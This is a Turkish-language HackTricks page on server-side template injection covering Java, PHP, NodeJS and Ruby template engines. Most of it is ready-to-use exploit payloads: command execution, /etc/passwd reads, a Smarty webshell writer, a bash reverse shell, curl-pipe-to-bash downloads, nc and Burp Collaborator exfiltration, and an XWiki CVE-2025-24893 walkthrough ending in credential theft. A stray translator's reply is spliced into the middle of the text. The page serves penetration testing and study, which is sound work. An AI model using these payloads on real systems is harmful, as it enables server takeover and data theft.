SSTI (Server Side Template Injection)

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

SSTI (Server-Side Template Injection) nedir

Server-side template injection, bir saldırganın sunucuda çalıştırılan bir şablona zararlı kod enjekte edebilmesi durumunda ortaya çıkan bir zayıflıktır. Bu zayıflık Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.

Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanan ve zafiyeti gösteren bir kod örneğini inceleyelim:

output = template.render(name=request.args.get('name'))

Bu zafiyetli kodda, kullanıcının isteğinden gelen name parametresi render fonksiyonu kullanılarak doğrudan template’e aktarılıyor. Bu, potansiyel olarak bir attacker’ın name parametresine kötü amaçlı kod enjekte etmesine ve sonuçta server-side template injection’a yol açmasına izin verebilir.

Örneğin, bir attacker şu şekilde bir payload içeren bir istek oluşturabilir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} name parametresine enjekte edilir. Bu payload Jinja template direktifleri içerebilir; bu da saldırganın yetkisiz kod çalıştırmasına veya template engine’i manipüle etmesine olanak tanıyabilir ve potansiyel olarak sunucu üzerinde kontrol sağlamasına yol açabilir.

To prevent server-side template injection vulnerabilities, geliştiriciler kullanıcı girdilerinin şablonlara eklenmeden önce düzgün şekilde temizlendiğinden (sanitized) ve doğrulandığından emin olmalıdır. Girdi doğrulama uygulamak ve bağlama-hassas (context-aware) escape/kaçış teknikleri kullanmak bu zafiyet riskini azaltmaya yardımcı olur.

Tespit

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. Bu, şablona özel karakter dizileri (${{<%[%'"}}%\) enjekte etmeyi ve sunucunun normal veri ile bu özel payload’a verdiği yanıtlar arasındaki farkları analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:

  • Hata fırlatılması; zafiyeti ve potansiyel olarak template engine’i açığa çıkarır.
  • Payload’un yansıtılmaması veya parçalarının eksik olması; bu durum sunucunun payload’u normal veriden farklı işlediğini gösterir.
  • Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS’den ayırın (ör. {{7*7}}, ${7*7}).
  • Kod Bağlamı: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin http://vulnerable-website.com/?greeting=data.username içindeki greeting değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu kontrol edin; mesela greeting=data.username}}hello kullanıldığında kullanıcı adının dönmesi gibi.

Tanımlama Aşaması

Template engine’i tanımlamak, hata mesajlarını analiz etmeyi veya farklı dil-spesifik payload’ları manuel olarak test etmeyi içerir. Hata oluşturan yaygın payload’lar ${7/0}, {{7/0}} ve <%= 7/0 %>’tır. Sunucunun matematiksel işlemlere verdiği yanıtları gözlemlemek, kullanılan spesifik template engine’i belirlemeye yardımcı olur.

Payload’larla Tanımlama

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Araçlar

TInjA

yeni polyglotları kullanan etkili bir SSTI + CSTI tarayıcısı

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

en verimli template injection polyglots ile 44 en önemli template engines’in beklenen yanıtlarını içeren etkileşimli bir tablo.

Exploits

Genel

Bu wordlist içinde, aşağıda bahsedilen bazı engines ortamlarında tanımlı variables defined bulabilirsiniz:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Sistemin ortam değişkenlerini al

${T(java.lang.System).getenv()}

Java - /etc/passwd’i Al

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payloads’ınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ yalnızca Freemarker 2.3.30’dan düşük sürümlerde çalışır

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Daha fazla bilgi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Daha fazla bilgi

Thymeleaf

Thymeleaf’te, SSTI açıklarını test etmek için yaygın bir ifade ${7*7}’dir; bu ifade bu şablon motoru için de geçerlidir. Potansiyel remote code execution için aşağıdaki gibi ifadeler kullanılabilir:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf bu ifadelerin belirli attribute’lar içinde yer almasını gerektirir. Ancak, expression inlining diğer şablon konumları için desteklenir ve [[...]] veya [(...)] gibi sözdizimleri kullanılır. Bu nedenle, basit bir SSTI test payload’u [[${7*7}]] şeklinde olabilir.

Ancak bu payload’un çalışması genel olarak düşük bir ihtimaldir. Thymeleaf’in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlı olmalıdır. Geliştiricilerin stringlerden on-the-fly şablon yaratmak için kendi TemplateResolver’larını uygulamaları gerekir ki bu nadirdir.

Thymeleaf ayrıca çift alt çizgi (__...__) içindeki ifadelerin ön işlemden geçirildiği expression preprocessing özelliğini de sunar. Bu özellik, ifadelerin oluşturulmasında kullanılabilir; detaylar Thymeleaf dokümantasyonunda gösterildiği gibidir:

#{selection.__${sel.code}__}

Thymeleaf’te Güvenlik Açığı Örneği

Aşağıdaki kod parçasını düşünün; exploitation’a karşı savunmasız olabilir:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Bu, eğer template engine bu girdileri yanlış şekilde işlerse, aşağıdaki gibi URL’lere erişen remote code execution’a yol açabileceğini gösterir:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Daha fazla bilgi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Filtreleri atlatma

Birden fazla değişken ifadesi kullanılabilir; ${...} çalışmazsa #{...}, *{...}, @{...} veya ~{...} deneyin.

  • /etc/passwd dosyasını oku
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • payload oluşturmak için Custom Script
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Daha Fazla Bilgi

Spring Görünüm Manipülasyonu (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Eski Pebble sürümü ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble’in yeni sürümü :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, şu adreste mevcut: https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Düzeltildi: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Daha fazla bilgi

Hubspot - HuBL (Java)

  • {% %} kontrol yapısı ayraçları
  • {{ }} ifade ayraçları
  • {# #} yorum ayraçları
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

“com.hubspot.content.hubl.context.TemplateContextRequest” için arama yapıldığında Jinjava project on Github bulundu.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Daha fazla bilgi

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL), JavaEE’de sunum katmanı (ör. web sayfaları) ile uygulama mantığı (ör. managed bean’ler) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi basitleştirmek için birden fazla JavaEE teknolojisi tarafından yaygın olarak kullanılır. EL’den yararlanan başlıca JavaEE teknolojileri şunlardır:

  • JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili backend verilerine ve aksiyonlara bağlamak için EL kullanır.
  • JavaServer Pages (JSP): EL, JSP’de sayfa içindeki verilere erişmek ve bunları işlemek için kullanılır; bu, sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır.
  • Contexts and Dependency Injection for Java EE (CDI): EL, CDI ile entegre olarak web katmanı ile managed bean’ler arasında sorunsuz etkileşim sağlar ve daha tutarlı bir uygulama yapısı sunar.

Daha fazla bilgi için aşağıdaki sayfada exploitation of EL interpreters konusunu inceleyin:

EL - Expression Language

Groovy (Java)

Aşağıdaki Security Manager bypasses bu writeup kaynağından alınmıştır.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (15.10.11 / 16.4.1 / 16.5.0RC1 sürümlerinde düzeltildi) Main.SolrSearch macro aracılığıyla yetkilendirme gerektirmeyen RSS arama feed’lerini render ediyor. Handler text sorgu parametresini alıp wiki sözdizimine sarıyor ve macro’ları değerlendiriyor; bu yüzden }}} ardından {{groovy}} enjekte etmek JVM’de rastgele Groovy çalıştırır.

  1. Fingerprint & scope – XWiki host-based routing arkasında reverse-proxy ile çalışıyorsa, wiki vhost’u keşfetmek için Host header’ını fuzz edin (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), sonra /xwiki/bin/view/Main/ adresini gezip footer’ı (XWiki Debian 15.10.8) okuyarak zafiyetli build’i tespit edin.
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item <title> Groovy çıktısını içerecektir. Her zaman tüm karakterleri URL-encode edin, böylece boşluklar %20 olarak kalır; bunları + ile değiştirmek XWiki’in HTTP 500 atmasına neden olur.
  3. Run OS commands – Groovy gövdesini {{groovy}}println("id".execute().text){{/groovy}} ile değiştirin. String.execute() komutu doğrudan execve() ile başlattığı için shell metakarakterleri (|, >, &) yorumlanmaz. Bunun yerine download-and-execute deseni kullanın:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (script reverse shell mantığını barındırır).
  1. Post exploitation – XWiki veritabanı kimlik bilgilerini /etc/xwiki/hibernate.cfg.xml içinde saklar; leaking hibernate.connection.password gerçek sistem parolalarını verir ve bunlar SSH üzerinden yeniden kullanılabilir. Eğer servis unit’i NoNewPrivileges=true olarak ayarlanmışsa, /bin/su gibi araçlar geçerli parolalarla bile ek ayrıcalık kazanamaz; bu yüzden yerel SUID ikililere güvenmek yerine SSH üzerinden pivot yapın.

Aynı payload /xwiki/bin/get/Main/SolrSearch üzerinde de çalışır ve Groovy stdout her zaman RSS title’ına gömülüdür; bu yüzden komutların script ile taranması kolaydır.

Diğer Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Daha fazla bilgi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Şablon formatı

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Daha fazla bilgi

Plates (PHP)

Plates, PHP’ye özgü bir şablon motorudur ve Twig’ten ilham alır. Ancak yeni bir sözdizimi getiren Twig’in aksine, Plates şablonlarda yerel PHP kodunu kullanır; bu da PHP geliştiricileri için daha sezgisel hale getirir.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Sayfa şablonu:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Düzen şablonu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Daha fazla bilgi

PHPlib ve HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib ile aynı, ancak Pear’e port edilmiştir.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php dosyasını mı çevirmek istiyorsunuz? Lütfen çevrilmesini istediğiniz dosya içeriğini (README.md veya authors.php) buraya yapıştırın. Kod, dosya adları, etiketler, linkler ve yollar çevrilmeyecek — sadece düz İngilizce metni Türkçe’ye çevireceğim.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Daha fazla bilgi

Diğer PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Daha fazla bilgi

patTemplate (PHP)

patTemplate derlenmeyen PHP şablon motoru, bir belgeyi farklı parçalara ayırmak için XML etiketlerini kullanır

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Daha fazla bilgi

Handlebars (NodeJS)

Path Traversal (daha fazla bilgi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hata
  • ${7*7} = ${7*7}
  • Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Daha fazla bilgi

JsRender (NodeJS)

ŞablonAçıklama
Çıktıyı değerlendirip render eder
HTML olarak kodlanmış çıktıyı değerlendirip render eder
Yorum
andKod çalıştırmaya izin verir (varsayılan olarak devre dışı)
  • = 49

İstemci Tarafı

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Sunucu Tarafı

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Daha fazla bilgi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Örnek sunucu tarafı render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Daha fazla bilgi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Çıktı yok
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hata
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Daha fazla bilgi

NodeJS ifade sandbox’ları (vm2 / isolated-vm)

Bazı workflow oluşturucuları, kullanıcı kontrollü ifadeleri Node sandbox’ları içinde değerlendirir (vm2, isolated-vm), ancak ifade bağlamı hâlâ this.process.mainModule.require’i açığa çıkarır. Bu, saldırganın child_process’u yükleyip özel “Execute Command” düğümleri devre dışı olsa bile işletim sistemi komutlarını çalıştırmasına izin verir:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Diğer NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

